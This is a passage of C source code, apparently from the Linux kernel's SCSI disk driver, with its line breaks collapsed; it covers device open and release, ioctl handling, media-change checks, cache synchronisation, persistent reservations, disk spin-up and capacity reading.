mode) { struct scsi_disk *sdkp = scsi_disk_get(bdev->bd_disk); struct scsi_device *sdev; int retval; if (!sdkp) return -ENXIO; SCSI_LOG_HLQUEUE(3, sd_printk(KERN_INFO, sdkp, "sd_open\n")); sdev = sdkp->device; /* * If the device is in error recovery, wait until it is done. * If the device is offline, then disallow any access to it. */ retval = -ENXIO; if (!scsi_block_when_processing_errors(sdev)) goto error_out; if (sdev->removable || sdkp->write_prot) check_disk_change(bdev); /* * If the drive is empty, just let the open fail. */ retval = -ENOMEDIUM; if (sdev->removable && !sdkp->media_present && !(mode & FMODE_NDELAY)) goto error_out; /* * If the device has the write protect tab set, have the open fail * if the user expects to be able to write to the thing. */ retval = -EROFS; if (sdkp->write_prot && (mode & FMODE_WRITE)) goto error_out; /* * It is possible that the disk changing stuff resulted in * the device being taken offline. If this is the case, * report this to the user, and don't pretend that the * open actually succeeded. */ retval = -ENXIO; if (!scsi_device_online(sdev)) goto error_out; if ((atomic_inc_return(&sdkp->openers) == 1) && sdev->removable) { if (scsi_block_when_processing_errors(sdev)) scsi_set_medium_removal(sdev, SCSI_REMOVAL_PREVENT); } return 0; error_out: scsi_disk_put(sdkp); return retval; } /** * sd_release - invoked when the (last) close(2) is called on this * scsi disk. * @inode: only i_rdev member may be used * @filp: only f_mode and f_flags may be used * * Returns 0. * * Note: may block (uninterruptible) if error recovery is underway * on this disk. * * Locking: called with bdev->bd_mutex held. **/ static void sd_release(struct gendisk *disk, fmode_t mode) { struct scsi_disk *sdkp = scsi_disk(disk); struct scsi_device *sdev = sdkp->device; SCSI_LOG_HLQUEUE(3, sd_printk(KERN_INFO, sdkp, "sd_release\n")); if (atomic_dec_return(&sdkp->openers) == 0 && sdev->removable) { if (scsi_block_when_processing_errors(sdev)) scsi_set_medium_removal(sdev, SCSI_REMOVAL_ALLOW); } /* * XXX and what if there are packets in flight and this close() * XXX is followed by a "rmmod sd_mod"? */ scsi_disk_put(sdkp); } static int sd_getgeo(struct block_device *bdev, struct hd_geometry *geo) { struct scsi_disk *sdkp = scsi_disk(bdev->bd_disk); struct scsi_device *sdp = sdkp->device; struct Scsi_Host *host = sdp->host; sector_t capacity = logical_to_sectors(sdp, sdkp->capacity); int diskinfo[4]; /* default to most commonly used values */ diskinfo[0] = 0x40; /* 1 << 6 */ diskinfo[1] = 0x20; /* 1 << 5 */ diskinfo[2] = capacity >> 11; /* override with calculated, extended default, or driver values */ if (host->hostt->bios_param) host->hostt->bios_param(sdp, bdev, capacity, diskinfo); else scsicam_bios_param(bdev, capacity, diskinfo); geo->heads = diskinfo[0]; geo->sectors = diskinfo[1]; geo->cylinders = diskinfo[2]; return 0; } /** * sd_ioctl - process an ioctl * @inode: only i_rdev/i_bdev members may be used * @filp: only f_mode and f_flags may be used * @cmd: ioctl command number * @arg: this is third argument given to ioctl(2) system call. * Often contains a pointer. * * Returns 0 if successful (some ioctls return positive numbers on * success as well). Returns a negated errno value in case of error. * * Note: most ioctls are forward onto the block subsystem or further * down in the scsi subsystem. **/ static int sd_ioctl(struct block_device *bdev, fmode_t mode, unsigned int cmd, unsigned long arg) { struct gendisk *disk = bdev->bd_disk; struct scsi_disk *sdkp = scsi_disk(disk); struct scsi_device *sdp = sdkp->device; void __user *p = (void __user *)arg; int error; SCSI_LOG_IOCTL(1, sd_printk(KERN_INFO, sdkp, "sd_ioctl: disk=%s, " "cmd=0x%x\n", disk->disk_name, cmd)); error = scsi_verify_blk_ioctl(bdev, cmd); if (error < 0) return error; /* * If we are in the middle of error recovery, don't let anyone * else try and use this device. Also, if error recovery fails, it * may try and take the device offline, in which case all further * access to the device is prohibited. */ error = scsi_ioctl_block_when_processing_errors(sdp, cmd, (mode & FMODE_NDELAY) != 0); if (error) goto out; /* * Send SCSI addressing ioctls directly to mid level, send other * ioctls to block level and then onto mid level if they can't be * resolved. */ switch (cmd) { case SCSI_IOCTL_GET_IDLUN: case SCSI_IOCTL_GET_BUS_NUMBER: error = scsi_ioctl(sdp, cmd, p); break; default: error = scsi_cmd_blk_ioctl(bdev, mode, cmd, p); if (error != -ENOTTY) break; error = scsi_ioctl(sdp, cmd, p); break; } out: return error; } static void set_media_not_present(struct scsi_disk *sdkp) { if (sdkp->media_present) sdkp->device->changed = 1; if (sdkp->device->removable) { sdkp->media_present = 0; sdkp->capacity = 0; } } static int media_not_present(struct scsi_disk *sdkp, struct scsi_sense_hdr *sshdr) { if (!scsi_sense_valid(sshdr)) return 0; /* not invoked for commands that could return deferred errors */ switch (sshdr->sense_key) { case UNIT_ATTENTION: case NOT_READY: /* medium not present */ if (sshdr->asc == 0x3A) { set_media_not_present(sdkp); return 1; } } return 0; } /** * sd_check_events - check media events * @disk: kernel device descriptor * @clearing: disk events currently being cleared * * Returns mask of DISK_EVENT_*. * * Note: this function is invoked from the block subsystem. **/ static unsigned int sd_check_events(struct gendisk *disk, unsigned int clearing) { struct scsi_disk *sdkp = scsi_disk_get(disk); struct scsi_device *sdp; int retval; if (!sdkp) return 0; sdp = sdkp->device; SCSI_LOG_HLQUEUE(3, sd_printk(KERN_INFO, sdkp, "sd_check_events\n")); /* * If the device is offline, don't send any commands - just pretend as * if the command failed. If the device ever comes back online, we * can deal with it then. It is only because of unrecoverable errors * that we would ever take a device offline in the first place. */ if (!scsi_device_online(sdp)) { set_media_not_present(sdkp); goto out; } /* * Using TEST_UNIT_READY enables differentiation between drive with * no cartridge loaded - NOT READY, drive with changed cartridge - * UNIT ATTENTION, or with same cartridge - GOOD STATUS. * * Drives that auto spin down. eg iomega jaz 1G, will be started * by sd_spinup_disk() from sd_revalidate_disk(), which happens whenever * sd_revalidate() is called. */ if (scsi_block_when_processing_errors(sdp)) { struct scsi_sense_hdr sshdr = { 0, }; retval = scsi_test_unit_ready(sdp, SD_TIMEOUT, SD_MAX_RETRIES, &sshdr); /* failed to execute TUR, assume media not present */ if (host_byte(retval)) { set_media_not_present(sdkp); goto out; } if (media_not_present(sdkp, &sshdr)) goto out; } /* * For removable scsi disk we have to recognise the presence * of a disk in the drive. */ if (!sdkp->media_present) sdp->changed = 1; sdkp->media_present = 1; out: /* * sdp->changed is set under the following conditions: * * Medium present state has changed in either direction. * Device has indicated UNIT_ATTENTION. */ retval = sdp->changed ? DISK_EVENT_MEDIA_CHANGE : 0; sdp->changed = 0; scsi_disk_put(sdkp); return retval; } static int sd_sync_cache(struct scsi_disk *sdkp) { int retries, res; struct scsi_device *sdp = sdkp->device; const int timeout = sdp->request_queue->rq_timeout * SD_FLUSH_TIMEOUT_MULTIPLIER; struct scsi_sense_hdr sshdr; if (!scsi_device_online(sdp)) return -ENODEV; for (retries = 3; retries > 0; --retries) { unsigned char cmd[10] = { 0 }; cmd[0] = SYNCHRONIZE_CACHE; /* * Leave the rest of the command zero to indicate * flush everything. */ res = scsi_execute(sdp, cmd, DMA_NONE, NULL, 0, NULL, &sshdr, timeout, SD_MAX_RETRIES, 0, RQF_PM, NULL); if (res == 0) break; } if (res) { sd_print_result(sdkp, "Synchronize Cache(10) failed", res); if (driver_byte(res) & DRIVER_SENSE) sd_print_sense_hdr(sdkp, &sshdr); /* we need to evaluate the error return */ if (scsi_sense_valid(&sshdr) && (sshdr.asc == 0x3a || /* medium not present */ sshdr.asc == 0x20)) /* invalid command */ /* this is no error here */ return 0; switch (host_byte(res)) { /* ignore errors due to racing a disconnection */ case DID_BAD_TARGET: case DID_NO_CONNECT: return 0; /* signal the upper layer it might try again */ case DID_BUS_BUSY: case DID_IMM_RETRY: case DID_REQUEUE: case DID_SOFT_ERROR: return -EBUSY; default: return -EIO; } } return 0; } static void sd_rescan(struct device *dev) { struct scsi_disk *sdkp = dev_get_drvdata(dev); revalidate_disk(sdkp->disk); } #ifdef CONFIG_COMPAT /* * This gets directly called from VFS. When the ioctl * is not recognized we go back to the other translation paths. */ static int sd_compat_ioctl(struct block_device *bdev, fmode_t mode, unsigned int cmd, unsigned long arg) { struct scsi_device *sdev = scsi_disk(bdev->bd_disk)->device; int error; error = scsi_ioctl_block_when_processing_errors(sdev, cmd, (mode & FMODE_NDELAY) != 0); if (error) return error; /* * Let the static ioctl translation table take care of it. */ if (!sdev->host->hostt->compat_ioctl) return -ENOIOCTLCMD; return sdev->host->hostt->compat_ioctl(sdev, cmd, (void __user *)arg); } #endif static char sd_pr_type(enum pr_type type) { switch (type) { case PR_WRITE_EXCLUSIVE: return 0x01; case PR_EXCLUSIVE_ACCESS: return 0x03; case PR_WRITE_EXCLUSIVE_REG_ONLY: return 0x05; case PR_EXCLUSIVE_ACCESS_REG_ONLY: return 0x06; case PR_WRITE_EXCLUSIVE_ALL_REGS: return 0x07; case PR_EXCLUSIVE_ACCESS_ALL_REGS: return 0x08; default: return 0; } }; static int sd_pr_command(struct block_device *bdev, u8 sa, u64 key, u64 sa_key, u8 type, u8 flags) { struct scsi_device *sdev = scsi_disk(bdev->bd_disk)->device; struct scsi_sense_hdr sshdr; int result; u8 cmd[16] = { 0, }; u8 data[24] = { 0, }; cmd[0] = PERSISTENT_RESERVE_OUT; cmd[1] = sa; cmd[2] = type; put_unaligned_be32(sizeof(data), &cmd[5]); put_unaligned_be64(key, &data[0]); put_unaligned_be64(sa_key, &data[8]); data[20] = flags; result = scsi_execute_req(sdev, cmd, DMA_TO_DEVICE, &data, sizeof(data), &sshdr, SD_TIMEOUT, SD_MAX_RETRIES, NULL); if ((driver_byte(result) & DRIVER_SENSE) && (scsi_sense_valid(&sshdr))) { sdev_printk(KERN_INFO, sdev, "PR command failed: %d\n", result); scsi_print_sense_hdr(sdev, NULL, &sshdr); } return result; } static int sd_pr_register(struct block_device *bdev, u64 old_key, u64 new_key, u32 flags) { if (flags & ~PR_FL_IGNORE_KEY) return -EOPNOTSUPP; return sd_pr_command(bdev, (flags & PR_FL_IGNORE_KEY) ? 0x06 : 0x00, old_key, new_key, 0, (1 << 0) /* APTPL */); } static int sd_pr_reserve(struct block_device *bdev, u64 key, enum pr_type type, u32 flags) { if (flags) return -EOPNOTSUPP; return sd_pr_command(bdev, 0x01, key, 0, sd_pr_type(type), 0); } static int sd_pr_release(struct block_device *bdev, u64 key, enum pr_type type) { return sd_pr_command(bdev, 0x02, key, 0, sd_pr_type(type), 0); } static int sd_pr_preempt(struct block_device *bdev, u64 old_key, u64 new_key, enum pr_type type, bool abort) { return sd_pr_command(bdev, abort ? 0x05 : 0x04, old_key, new_key, sd_pr_type(type), 0); } static int sd_pr_clear(struct block_device *bdev, u64 key) { return sd_pr_command(bdev, 0x03, key, 0, 0, 0); } static const struct pr_ops sd_pr_ops = { .pr_register = sd_pr_register, .pr_reserve = sd_pr_reserve, .pr_release = sd_pr_release, .pr_preempt = sd_pr_preempt, .pr_clear = sd_pr_clear, }; static const struct block_device_operations sd_fops = { .owner = THIS_MODULE, .open = sd_open, .release = sd_release, .ioctl = sd_ioctl, .getgeo = sd_getgeo, #ifdef CONFIG_COMPAT .compat_ioctl = sd_compat_ioctl, #endif .check_events = sd_check_events, .revalidate_disk = sd_revalidate_disk, .unlock_native_capacity = sd_unlock_native_capacity, .pr_ops = &sd_pr_ops, }; /** * sd_eh_action - error handling callback * @scmd: sd-issued command that has failed * @eh_disp: The recovery disposition suggested by the midlayer * * This function is called by the SCSI midlayer upon completion of an * error test command (currently TEST UNIT READY). The result of sending * the eh command is passed in eh_disp. We're looking for devices that * fail medium access commands but are OK with non access commands like * test unit ready (so wrongly see the device as having a successful * recovery) **/ static int sd_eh_action(struct scsi_cmnd *scmd, int eh_disp) { struct scsi_disk *sdkp = scsi_disk(scmd->request->rq_disk); if (!scsi_device_online(scmd->device) || !scsi_medium_access_command(scmd) || host_byte(scmd->result) != DID_TIME_OUT || eh_disp != SUCCESS) return eh_disp; /* * The device has timed out executing a medium access command. * However, the TEST UNIT READY command sent during error * handling completed successfully. Either the device is in the * process of recovering or has it suffered an internal failure * that prevents access to the storage medium. */ sdkp->medium_access_timed_out++; /* * If the device keeps failing read/write commands but TEST UNIT * READY always completes successfully we assume that medium * access is no longer possible and take the device offline. */ if (sdkp->medium_access_timed_out >= sdkp->max_medium_access_timeouts) { scmd_printk(KERN_ERR, scmd, "Medium access timeout failure. Offlining disk!\n"); scsi_device_set_state(scmd->device, SDEV_OFFLINE); return FAILED; } return eh_disp; } static unsigned int sd_completed_bytes(struct scsi_cmnd *scmd) { u64 start_lba = blk_rq_pos(scmd->request); u64 end_lba = blk_rq_pos(scmd->request) + (scsi_bufflen(scmd) / 512); u64 factor = scmd->device->sector_size / 512; u64 bad_lba; int info_valid; /* * resid is optional but mostly filled in. When it's unused, * its value is zero, so we assume the whole buffer transferred */ unsigned int transferred = scsi_bufflen(scmd) - scsi_get_resid(scmd); unsigned int good_bytes; info_valid = scsi_get_sense_info_fld(scmd->sense_buffer, SCSI_SENSE_BUFFERSIZE, &bad_lba); if (!info_valid) return 0; if (scsi_bufflen(scmd) <= scmd->device->sector_size) return 0; /* be careful ... don't want any overflows */ do_div(start_lba, factor); do_div(end_lba, factor); /* The bad lba was reported incorrectly, we have no idea where * the error is. */ if (bad_lba < start_lba || bad_lba >= end_lba) return 0; /* This computation should always be done in terms of * the resolution of the device's medium. */ good_bytes = (bad_lba - start_lba) * scmd->device->sector_size; return min(good_bytes, transferred); } /** * sd_done - bottom half handler: called when the lower level * driver has completed (successfully or otherwise) a scsi command. * @SCpnt: mid-level's per command structure. * * Note: potentially run from within an ISR. Must not block. **/ static int sd_done(struct scsi_cmnd *SCpnt) { int result = SCpnt->result; unsigned int good_bytes = result ? 0 : scsi_bufflen(SCpnt); struct scsi_sense_hdr sshdr; struct scsi_disk *sdkp = scsi_disk(SCpnt->request->rq_disk); struct request *req = SCpnt->request; int sense_valid = 0; int sense_deferred = 0; unsigned char op = SCpnt->cmnd[0]; unsigned char unmap = SCpnt->cmnd[1] & 8; switch (req_op(req)) { case REQ_OP_DISCARD: case REQ_OP_WRITE_SAME: case REQ_OP_ZONE_RESET: if (!result) { good_bytes = blk_rq_bytes(req); scsi_set_resid(SCpnt, 0); } else { good_bytes = 0; scsi_set_resid(SCpnt, blk_rq_bytes(req)); } break; case REQ_OP_ZONE_REPORT: if (!result) { good_bytes = scsi_bufflen(SCpnt) - scsi_get_resid(SCpnt); scsi_set_resid(SCpnt, 0); } else { good_bytes = 0; scsi_set_resid(SCpnt, blk_rq_bytes(req)); } break; } if (result) { sense_valid = scsi_command_normalize_sense(SCpnt, &sshdr); if (sense_valid) sense_deferred = scsi_sense_is_deferred(&sshdr); } sdkp->medium_access_timed_out = 0; if (driver_byte(result) != DRIVER_SENSE && (!sense_valid || sense_deferred)) goto out; switch (sshdr.sense_key) { case HARDWARE_ERROR: case MEDIUM_ERROR: good_bytes = sd_completed_bytes(SCpnt); break; case RECOVERED_ERROR: good_bytes = scsi_bufflen(SCpnt); break; case NO_SENSE: /* This indicates a false check condition, so ignore it. An * unknown amount of data was transferred so treat it as an * error. */ SCpnt->result = 0; memset(SCpnt->sense_buffer, 0, SCSI_SENSE_BUFFERSIZE); break; case ABORTED_COMMAND: if (sshdr.asc == 0x10) /* DIF: Target detected corruption */ good_bytes = sd_completed_bytes(SCpnt); break; case ILLEGAL_REQUEST: if (sshdr.asc == 0x10) /* DIX: Host detected corruption */ good_bytes = sd_completed_bytes(SCpnt); /* INVALID COMMAND OPCODE or INVALID FIELD IN CDB */ if (sshdr.asc == 0x20 || sshdr.asc == 0x24) { switch (op) { case UNMAP: sd_config_discard(sdkp, SD_LBP_DISABLE); break; case WRITE_SAME_16: case WRITE_SAME: if (unmap) sd_config_discard(sdkp, SD_LBP_DISABLE); else { sdkp->device->no_write_same = 1; sd_config_write_same(sdkp); good_bytes = 0; req->__data_len = blk_rq_bytes(req); req->rq_flags |= RQF_QUIET; } } } break; default: break; } out: if (sd_is_zoned(sdkp)) sd_zbc_complete(SCpnt, good_bytes, &sshdr); SCSI_LOG_HLCOMPLETE(1, scmd_printk(KERN_INFO, SCpnt, "sd_done: completed %d of %d bytes\n", good_bytes, scsi_bufflen(SCpnt))); if (rq_data_dir(SCpnt->request) == READ && scsi_prot_sg_count(SCpnt)) sd_dif_complete(SCpnt, good_bytes); return good_bytes; } /* * spinup disk - called only in sd_revalidate_disk() */ static void sd_spinup_disk(struct scsi_disk *sdkp) { unsigned char cmd[10]; unsigned long spintime_expire = 0; int retries, spintime; unsigned int the_result; struct scsi_sense_hdr sshdr; int sense_valid = 0; spintime = 0; /* Spin up drives, as required. Only do this at boot time */ /* Spinup needs to be done for module loads too. */ do { retries = 0; do { cmd[0] = TEST_UNIT_READY; memset((void *) &cmd[1], 0, 9); the_result = scsi_execute_req(sdkp->device, cmd, DMA_NONE, NULL, 0, &sshdr, SD_TIMEOUT, SD_MAX_RETRIES, NULL); /* * If the drive has indicated to us that it * doesn't have any media in it, don't bother * with any more polling. */ if (media_not_present(sdkp, &sshdr)) return; if (the_result) sense_valid = scsi_sense_valid(&sshdr); retries++; } while (retries < 3 && (!scsi_status_is_good(the_result) || ((driver_byte(the_result) & DRIVER_SENSE) && sense_valid && sshdr.sense_key == UNIT_ATTENTION))); if ((driver_byte(the_result) & DRIVER_SENSE) == 0) { /* no sense, TUR either succeeded or failed * with a status error */ if(!spintime && !scsi_status_is_good(the_result)) { sd_print_result(sdkp, "Test Unit Ready failed", the_result); } break; } /* * The device does not want the automatic start to be issued. */ if (sdkp->device->no_start_on_add) break; if (sense_valid && sshdr.sense_key == NOT_READY) { if (sshdr.asc == 4 && sshdr.ascq == 3) break; /* manual intervention required */ if (sshdr.asc == 4 && sshdr.ascq == 0xb) break; /* standby */ if (sshdr.asc == 4 && sshdr.ascq == 0xc) break; /* unavailable */ /* * Issue command to spin up drive when not ready */ if (!spintime) { sd_printk(KERN_NOTICE, sdkp, "Spinning up disk..."); cmd[0] = START_STOP; cmd[1] = 1; /* Return immediately */ memset((void *) &cmd[2], 0, 8); cmd[4] = 1; /* Start spin cycle */ if (sdkp->device->start_stop_pwr_cond) cmd[4] |= 1 << 4; scsi_execute_req(sdkp->device, cmd, DMA_NONE, NULL, 0, &sshdr, SD_TIMEOUT, SD_MAX_RETRIES, NULL); spintime_expire = jiffies + 100 * HZ; spintime = 1; } /* Wait 1 second for next try */ msleep(1000); printk("."); /* * Wait for USB flash devices with slow firmware. * Yes, this sense key/ASC combination shouldn't * occur here. It's characteristic of these devices. */ } else if (sense_valid && sshdr.sense_key == UNIT_ATTENTION && sshdr.asc == 0x28) { if (!spintime) { spintime_expire = jiffies + 5 * HZ; spintime = 1; } /* Wait 1 second for next try */ msleep(1000); } else { /* we don't understand the sense code, so it's * probably pointless to loop */ if(!spintime) { sd_printk(KERN_NOTICE, sdkp, "Unit Not Ready\n"); sd_print_sense_hdr(sdkp, &sshdr); } break; } } while (spintime && time_before_eq(jiffies, spintime_expire)); if (spintime) { if (scsi_status_is_good(the_result)) printk("ready\n"); else printk("not responding...\n"); } } /* * Determine whether disk supports Data Integrity Field. */ static int sd_read_protection_type(struct scsi_disk *sdkp, unsigned char *buffer) { struct scsi_device *sdp = sdkp->device; u8 type; int ret = 0; if (scsi_device_protection(sdp) == 0 || (buffer[12] & 1) == 0) return ret; type = ((buffer[12] >> 1) & 7) + 1; /* P_TYPE 0 = Type 1 */ if (type > T10_PI_TYPE3_PROTECTION) ret = -ENODEV; else if (scsi_host_dif_capable(sdp->host, type)) ret = 1; if (sdkp->first_scan || type != sdkp->protection_type) switch (ret) { case -ENODEV: sd_printk(KERN_ERR, sdkp, "formatted with unsupported" \ " protection type %u. Disabling disk!\n", type); break; case 1: sd_printk(KERN_NOTICE, sdkp, "Enabling DIF Type %u protection\n", type); break; case 0: sd_printk(KERN_NOTICE, sdkp, "Disabling DIF Type %u protection\n", type); break; } sdkp->protection_type = type; return ret; } static void read_capacity_error(struct scsi_disk *sdkp, struct scsi_device *sdp, struct scsi_sense_hdr *sshdr, int sense_valid, int the_result) { if (driver_byte(the_result) & DRIVER_SENSE) sd_print_sense_hdr(sdkp, sshdr); else sd_printk(KERN_NOTICE, sdkp, "Sense not available.\n"); /* * Set dirty bit for removable devices if not ready - * sometimes drives will not report this properly. */ if (sdp->removable && sense_valid && sshdr->sense_key == NOT_READY) set_media_not_present(sdkp); /* * We used to set media_present to 0 here to indicate no media * in the drive, but some drives fail read capacity even with * media present, so we can't do that. */ sdkp->capacity = 0; /* unknown mapped to zero - as usual */ } #define RC16_LEN 32 #if RC16_LEN > SD_BUF_SIZE #error RC16_LEN must not be more than SD_BUF_SIZE #endif #define READ_CAPACITY_RETRIES_ON_RESET 10 static int read_capacity_16(struct scsi_disk *sdkp, struct scsi_device *sdp, unsigned char *buffer) { unsigned char cmd[16]; struct scsi_sense_hdr sshdr; int sense_valid = 0; int the_result; int retries = 3, reset_retries = READ_CAPACITY_RETRIES_ON_RESET; unsigned int alignment; unsigned long long lba; unsigned sector_size; if (sdp->no_read_capacity_16) return -EINVAL; do { memset(cmd, 0, 16); cmd[0] = SERVICE_ACTION_IN_16; cmd[1] = SAI_READ_CAPACITY_16; cmd[13] = RC16_LEN; memset(buffer, 0, RC16_LEN); the_result = scsi_execute_req(sdp, cmd, DMA_FROM_DEVICE, buffer, RC16_LEN, &sshdr, SD_TIMEOUT, SD_MAX_RETRIES, NULL); if (media_not_present(sdkp, &sshdr)) return -ENODEV; if (the_result) { sense_valid = scsi_sense_valid(&sshdr); if (sense_valid && sshdr.sense_key == ILLEGAL_REQUEST && (sshdr.asc == 0x20 || sshdr.asc == 0x24) && sshdr.ascq == 0x00) /* Invalid Command Operation Code or * Invalid Field in CDB, just retry * silently with RC10 */ return -EINVAL; if (sense_valid && sshdr.sense_key == UNIT_ATTENTION && sshdr.asc == 0x29 && sshdr.ascq == 0x00) /* Device reset might occur several times, * give it one more chance */ if (--reset_retries > 0) continue; } retries--; } while (the_result && retries); if (the_result) { sd_print_result(sdkp, "Read Capacity(16) failed", the_result); read_capacity_error(sdkp, sdp, &sshdr, sense_valid, the_result); return -EINVAL; } sector_size = get_unaligned_be32(&buffer[8]); lba = get_unaligned_be64(&buffer[0]); if (sd_read_protection_type(sdkp, buffer) < 0) { sdkp->capacity = 0; return -ENODEV; } if ((sizeof(sdkp->capacity) == 4) && (lba >= 0xffffffffULL)) { sd_printk(KERN_ERR, sdkp, "Too big for this kernel. Use a " "kernel compiled with support for large block " "devices.\n"); sdkp->capacity = 0; return -EOVERFLOW; } /* Logical blocks per physical block exponent */ sdkp->physical_block_size = (1 << (buffer[13] & 0xf)) * sector_size; /* RC basis */ sdkp->rc_basis = (buffer[12] >> 4) & 0x3; /* Lowest aligned logical block */ alignment = ((buffer[14] & 0x3f) << 8 | buffer[15]) * sector_size; blk_queue_alignment_offset(sdp->request_queue, alignment); if (alignment && sdkp->first_scan) sd_printk(KERN_NOTICE, sdkp, "physical block alignment offset: %u\n", alignment); if (buffer[14] & 0x80) { /* LBPME */ sdkp->lbpme = 1; if (buffer[14] & 0x40) /* LBPRZ */ sdkp->lbprz = 1; sd_config_discard(sdkp, SD_LBP_WS16); } sdkp->capacity = lba + 1; return sector_size; } static int read_capacity_10(struct scsi_disk *sdkp, struct scsi_device *sdp, unsigned char *buffer) { unsigned char cmd[16]; struct scsi_sense_hdr sshdr; int sense_valid = 0; int the_result; int retries = 3, reset_retries = READ_CAPACITY_RETRIES_ON_RESET; sector_t lba; unsigned sector_size; do { cmd[0] = READ_CAPACITY; memset(&cmd[1], 0, 9); memset(buffer, 0, 8); the_result = scsi_execute_req(sdp, cmd, DMA_FROM_DEVICE, buffer, 8, &sshdr, SD_TIMEOUT, SD_MAX_RETRIES, NULL); if (media_not_present(sdkp, &sshdr)) return -ENODEV; if (the_result) { sense_valid = scsi_sense_valid(&sshdr); if (sense_valid && sshdr.sense_key == UNIT_ATTENTION && sshdr.asc == 0x29 && sshdr.ascq == 0x00) /* Device reset might occur several times, * give it one more chance */ if (--reset_retries > 0) continue; } retries--; } while (the_result && retries); if (the_result) { sd_print_result(sdkp, "Read Capacity(10) failed", the_result); read_capacity_error(sdkp, sdp, &sshdr, sense_valid, the_result); return -EINVAL; } sector_size = get_unaligned_be32(&buffer[4]); lba = get_unaligned_be32(&buffer[0]); if (sdp->no_read_capacity_16 && (lba == 0xffffffff)) { /* Some buggy (usb cardreader) devices return an lba of 0xffffffff when the want to report a size of 0 (with which they really mean no media is present) */ sdkp->capacity = 0; sdkp->physical_block_size = sector_size; return sector_size; } if ((sizeof(sdkp->capacity) == 4) && (lba == 0xffffffff)) { sd_printk(KERN_ERR, sdkp, "Too big for this kernel. Use a " "kernel compiled with support for large block " "devices.\n"); sdkp->capacity = 0; return -EOVERFLOW; } sdkp->capacity = lba + 1; sdkp->physical_block_size = sector_size; return sector_size; } static int sd_try_rc16_first(struct scsi_device *sdp) { if (sdp->host->max_cmd_len < 16) return 0; if (sdp->try_rc_10_first) return 0; if (sdp->scsi_level > SCSI_SPC_2) return 1; if (scsi_device_protection(sdp)) return 1; return 0; } /* * read disk capacity */ static void sd_read_capacity(struct scsi_disk *sdkp, unsigned char *buffer) { int sector_size; struct scsi_device *sdp = sdkp->device; if (sd_try_rc16_first(sdp)) { sector_size = read_capacity_16(sdkp, sdp, buffer); if (sector_size == -EOVERFLOW) goto got_data; if (sector_size == -ENODEV) return; if (sector_size < 0) sector_size = read_capacity_10(sdkp, sdp, buffer); if (sector_size < 0) return; } else { sector_size = read_capacity_10(sdkp, sdp, buffer); if (sector_size == -EOVERFLOW) goto got_data; if (sector_size < 0) return; if ((sizeof(sdkp->capacity) > 4) && (sdkp->capacity > 0xffffffffULL)) { int old_sector_size = sector_size; sd_printk(KERN_NOTICE, sdkp, "Very big device. " "Trying to use READ CAPACITY(16).\n"); sector_size = read_capacity_16(sdkp, sdp, buffer); if (sector_size < 0) { sd_printk(KERN_NOTICE, sdkp, "Using 0xffffffff as device size\n"); sdkp->capacity = 1 + (sector_t) 0xffffffff; sector_size = old_sector_size; goto got_data; } } } /* Some devices are known to return the total number of blocks, * not the highest block number. Some devices have versions * which do this and others which do not. Some devices we might * suspect of doing this but we don't know for certain. * * If we know the reported capacity is wrong, decrement it. If * we can only guess, then assume the number of blocks is even * (usually true but not always) and err on the side of lowering * the capacity. */ if (sdp->fix_capacity || (sdp->guess_capacity && (sdkp->capacity & 0x01))) { sd_printk(KERN_INFO, sdkp, "Adjusting the sector count " "from its reported value: %llu\n", (unsigned long long) sdkp->capacity); --sdkp->capacity; } got_data: if (sector_size == 0) { sector_size = 512; sd_printk(KERN_NOTICE, sdkp, "Sector size 0 reported, " "assuming 512.\n"); } if (sector_size != 512 && sector_size != 1024 && sector_size != 2048 && sector_size != 4096) { sd_printk(KERN_NOTICE, sdkp, "Unsupported sector size %d.\n", sector_size); /* * The user might want to re-format the drive with * a supported sectorsize. Once this happens, it * would be relatively trivial to set the thing up. * For this reason, we leave the thing in the table. */ sdkp->capacity = 0; /* * set a bogus sector size so the normal read/write * logic in the block layer will eventually refuse any * request on this device without tripping over power * of two sector size assumptions */ sector_size = 512; } blk_queue_logical_block_size(sdp->request_queue, sector_size); blk_queue_physical_block_size(sdp->request_queue, sdkp->physical_block_size); sdkp->device->sector_size = sector_size; if (sdkp->capacity > 0xffffffff) sdp->use_16_for_rw = 1; } /* * Print disk capacity */ static void sd_print_capacity(struct scsi_disk *sdkp, sector_t old_capacity) { int sector_size = sdkp->device->sector_size; char cap_str_2[10], cap_str_10[10]; string_get_size(sdkp->capacity, sector_size, STRING_UNITS_2, cap_str_2, sizeof(cap_str_2)); string_get_size(sdkp->capacity, sector_size, STRING_UNITS_10, cap_str_10, sizeof(cap_str_10)); if (sdkp->first_scan || old_capacity != sdkp->capacity) { sd_printk(KERN_NOTICE, sdkp, "%llu %d-byte logical blocks: (%s/%s)\n", (unsigned long long)sdkp->capacity, sector_size, cap_str_10, cap_str_2); if (sdkp->physical_block_size != sector_size) sd_printk(KERN_NOTICE, sdkp, "%u-byte physical blocks\n", sdkp->physical_block_size); sd_zbc_print_zones(sdkp); } } /* called with buffer of length 512 */ static inline int sd_do_mode_sense(struct scsi_device *sdp, int dbd, int modepage, unsigned char *buffer, int len, struct scsi_mode_data *data, struct scsi_sense_hdr *sshdr) { return scsi_mode_sense(sdp, dbd, modepage, buffer, len, SD_TIMEOUT, SD_MAX_RETRIES, data, sshdr); } /* * read write protect setting, if possible - called only in sd_revalidate_disk() * called with buffer of length SD_BUF_SIZE */ static void sd_read_write_protect_flag(struct scsi_disk *sdkp, unsigned char *buffer) { int res; struct scsi_device *sdp = sdkp->device; struct scsi_mode_data data; int old_wp = sdkp->write_prot; set_disk_ro(sdkp->disk, 0); if (sdp->skip_ms_page_3f) { sd_first_printk(KERN_NOTICE, sdkp, "Assuming Write Enabled\n"); return; } if (sdp->use_192_bytes_for_3f) { res = sd_do_mode_sense(sdp, 0, 0x3F, buffer, 192, &data, NULL); } else { /* * First attempt: ask for all pages (0x3F), but only 4 bytes. * We have to start carefully: some devices hang if we ask * for more than is available. */ res = sd_do_mode_sense(sdp, 0, 0x3F, buffer, 4, &data, NULL); /* * Second attempt: ask for page 0 When only page 0 is * implemented, a request for page 3F may return Sense Key * 5: Illegal Request, Sense Code 24: Invalid field in * CDB. */ if (!scsi_status_is_good(res)) res = sd_do_mode_sense(sdp, 0, 0, buffer, 4, &data, NULL); /* * Third attempt: ask 255 bytes, as we did earlier. */ if (!scsi_status_is_good(res)) res = sd_do_mode_sense(sdp, 0, 0x3F, buffer, 255, &data, NULL); } if (!scsi_status_is_good(res)) { sd_first_printk(KERN_WARNING, sdkp, "Test WP failed, assume Write Enabled\n"); } else { sdkp->write_prot = ((data.device_specific & 0x80) != 0); set_disk_ro(sdkp->disk, sdkp->write_prot); if (sdkp->first_scan || old_wp != sdkp->write_prot) { 